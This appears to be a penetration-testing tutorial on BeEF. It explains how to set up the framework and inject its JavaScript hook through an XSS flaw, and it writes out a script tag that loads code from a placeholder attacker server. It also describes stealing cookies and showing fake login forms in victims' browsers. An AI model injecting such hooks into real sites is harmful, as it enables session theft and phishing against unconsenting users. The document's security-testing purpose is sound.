TL;DR
BeEF (Browser Exploitation Framework) is a tool used to test web application security by exploiting the cross-site scripting (XSS) vulnerability. It hooks into a victim’s browser and lets you run commands on it, simulating real-world attacks.
Understanding BeEF
BeEF isn’t a direct exploit; it needs an XSS vulnerability to work. Once injected, the BeEF hook JavaScript code connects the victim’s browser back to your BeEF control panel. This allows you to send commands and gather information.
How BeEF Works: Step-by-Step
- Setup BeEF: Download and install BeEF on a Linux machine (Kali is common). The installation process varies depending on your OS; refer to the official documentation (https://beefproject.com/documentation) for detailed instructions.
- Start BeEF: Run the BeEF server using the command line.
./beefThis will usually start a web interface on port 8080 (or another configured port).
- Access the Control Panel: Open your web browser and go to http://localhost:8080. The default credentials are username beef and password beef. Change these immediately!
- Create a Hooked Browser: BeEF needs a way to connect to victim browsers. This is done through XSS.
- Find an XSS Vulnerability: Identify a web application with an XSS flaw. This could be in input fields, URL parameters, or anywhere user-supplied data isn’t properly sanitized.
- Inject the Hook: Insert BeEF’s hook JavaScript code into the vulnerable part of the website.
<script src="http://your_beef_server_ip:8080/hooks/beef.js"></script>Replace your_beef_server_ip with the IP address of your BeEF server.
- Victim Visits Vulnerable Page: When a user visits the page containing the injected hook, their browser connects to your BeEF server.
- Browser is Hooked: The victim’s browser will appear in the BeEF control panel under the “Connected Browsers” section. You’ll see information like IP address, User Agent, and operating system.
- Command Execution: Select a hooked browser and choose commands from the command module list (e.g., get cookies, redirect to another site, display a fake login form). BeEF sends these commands to the victim’s browser for execution.
- Example Command: To get cookies:
- Navigate to Command Modules → Browser Information → Get Cookies.
- Click ‘Execute’.
- The results will be displayed in the browser’s log tab.
- Example Command: To get cookies:
Important Considerations
- Ethical Use: BeEF should only be used on systems you have explicit permission to test. Using it without authorization is illegal and unethical.
- Network Visibility: The connection between the victim’s browser and your BeEF server can be detected by firewalls or intrusion detection systems.
- HTTPS: If the target website uses HTTPS, you’ll need to configure BeEF with a valid SSL certificate to avoid browser security warnings.
- Browser Security Features: Modern browsers have built-in XSS protection mechanisms that can prevent BeEF hooks from working.

